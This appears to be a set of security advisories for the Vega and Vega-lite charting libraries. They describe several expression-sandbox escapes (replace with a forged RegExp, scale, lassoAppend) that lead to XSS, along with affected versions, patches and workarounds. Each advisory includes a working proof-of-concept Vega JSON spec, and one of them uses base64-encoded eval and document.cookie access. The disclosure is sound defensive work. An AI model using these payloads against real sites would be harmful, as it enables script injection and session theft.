Impact

Users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library is used with the vega-interpreter.

Workarounds

• Use vega with expression interpreter
• Upgrade to a newer Vega version (5.32.0)

POC Summary

Calling replace with a RegExp-like pattern calls RegExp.prototype[@@replace], which can then call an attacker-controlled exec function.

POC Details

Consider the function call replace('foo', {__proto__: /h/.constructor.prototype, global: false}). Since pattern has RegExp.prototype[@@replace], pattern.exec('foo') winds up being called.

The resulting malicious call looks like this:

replace(<string argument>, {__proto__: /h/.constructor.prototype, exec: <function>, global: false})

Since functions cannot be returned from this, an attacker that wishes to escalate to XSS must abuse event.view to gain access to eval.

Reproduction steps

{"$schema":"https://vega.github.io/schema/vega/v5.json","signals":[{"name":"a","on":[{"events":"body:mousemove{99999}","update":"replace('alert(1)',{__proto__:/h/.constructor.prototype,exec:event.view.eval,global:false})"}]}]}

Impact

In vega 5.30.0 and lower, vega-functions 5.15.0 and lower , it was possible to call JavaScript functions from the Vega expression language that were not meant to be supported.

Patches

Patched in vega 5.31.0 / vega-functions 5.16.0

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

• Run vega without vega.expressionInterpreter. This mode is not the default as it is slower.
• Using the interpreter described in CSP safe mode (Content Security Policy) prevents arbitrary Javascript from running, so users of this mode are not affected by this vulnerability.

References

• Reported to Vega-Lite by @kprevas Nov 8 2024 in https://github.com/vega/vega-lite/issues/9469 & https://github.com/vega/vega/issues/3984

Reproduction of the error in Vega by @mattijn

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "signals": [
    {
      "name": "inject_alert",
      "on": [
        {
          "events": [
            {
              "type": "mousedown",
              "marktype": "rect",
              "filter": ["scale(event.view.setTimeout, 'alert(\"alert\")')"]
            }
          ],
          "update": "datum"
        }
      ]
    }
  ],
  "marks": [
    {
      "type": "rect",
      "encode": {
        "update": {
          "x": {"value": 0},
          "y": {"value": 0},
          "width": {"value": 100},
          "height": {"value": 100}
        }
      }
    }
  ]
}

Summary

Vega's lassoAppend function: lassoAppend accepts 3 arguments and internally invokes push function on the 1st argument specifying array consisting of 2nd and 3rd arguments as push call argument. The type of the 1st argument is supposed to be an array, but it's not enforced.

This makes it possible to specify any object with a push function as the 1st argument, push function can be set to any function that can be access via event.view (no all such functions can be exploited due to invalid context or signature, but some can, e.g. console.log).

Details

The issue is that lassoAppend doesn't enforce proper types of its arguments:

.....
export function lassoAppend(lasso, x, y, minDist = 5) {
    const last = lasso[lasso.length - 1];

    // Add point to lasso if distance to last point exceed minDist or its the first point
    if (last === undefined || Math.sqrt(((last[0] - x) ** 2) + ((last[1] - y) ** 2)) > minDist) {
        lasso.push([x, y]);
.....

PoC

Use the following Vega snippet (depends on browser's non-built-in event.view.setImmediate function, feel free to replace with event.view.console.log or alike and observe the result in the browser's console)

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "width": 350,
  "height": 350,
  "autosize": "none",
  "description": "Toggle Button",
  "signals": [
    {
      "name": "toggle",
      "value": false,
      "on": [
        {
          "events": {"type": "click", "markname": "circle"},
          "update": "toggle ? false : true"
        }
      ]
    },
    {
      "name": "addFilter",
      "on": [
        {
          "events": {"type": "mousemove", "source": "window"},
          "update": "lassoAppend({'push':event.view.setImmediate},'alert(document.domain)','alert(document.cookie)')"
        }
      ]
    }
  ],
  "marks": [
    {
      "name": "circle",
      "type": "symbol",
      "zindex": 1,
      "encode": {
        "enter": {
          "y": {"signal": "height/2"},
          "angle": {"value": 0},
          "size": {"value": 400},
          "shape": {"value": "circle"},
          "fill": {"value": "white"},
          "stroke": {"value": "white"},
          "strokeWidth": {"value": 2},
          "cursor": {"value": "pointer"},
          "tooltip": {"signal": "{Tip: 'Click to fire XSS'}"}
        },
        "update": {"x": {"signal": "toggle === true ? 190 : 165"}}
      }
    },
    {
      "name": "rectangle",
      "type": "rect",
      "zindex": 0,
      "encode": {
        "enter": {
          "x": {"value": 152},
          "y": {"value": 162.5},
          "width": {"value": 50},
          "height": {"value": 25},
          "cornerRadius": {"value": 20}
        },
        "update": {
          "fill": {"signal": "toggle === true ? '#006BB4' : '#939597'"}
        }
      }
    }
  ]
}

Impact

This issue opens various XSS vectors, but exact impact and severity depends on the environment (e.g. Core JS setImmediate polyfill basically allows eval-like functionality).

Summary

The Vega scale expression function has the ability to call arbitrary functions with a single controlled argument. This can be exploited to escape the Vega expression sandbox in order to execute arbitrary JavaScript.

Details

The scale expression function passes a user supplied argument group to getScale, which is then used as if it were an internal context. The context.scales[name].value is accessed from group and called as a function back in scale.

PoC

The following Vega definition can be used to demonstrate this issue executing the JavaScript code alert(1);

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "data": [
    {
      "name": "XSS PoC",
      "values": [1],
      "transform": [
        {
          "type": "formula",
          "as": "amount",
          "expr": "scale('func', null,  {context: {scales: {func: {value: scale('func', 'eval(atob(\"YWxlcnQoMSk7\"))', {context: {scales: {func: {value: [].constructor.constructor}}}})}}}})"
        }
      ]
    }
  ]
}

This can be viewed in the Vega online IDE at https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAATJJhSoA2qHFIEcNCAAaAZT0ACAApsAwtJDEkAGwZwIaZQEYAujMwAnJOIgAzNk8EJ1BMAE8cLXQAoIYbFBkkR3QNNgZxTEs4AA8cT21oWzgACgByP3SoUqlDcTibGsNgKAlMHMxUJsKbB07gCvEoPus7OE7ukvLK6sNSuBHihTYmYoAdEABNAHVsmyhxAEU2AFk9AGsAdnWASmuZ5tb2von8JoGhppH7TuVXShbfF4GFBMIF-hIIECQYEAL5wmHXeEIkAw1yomFAA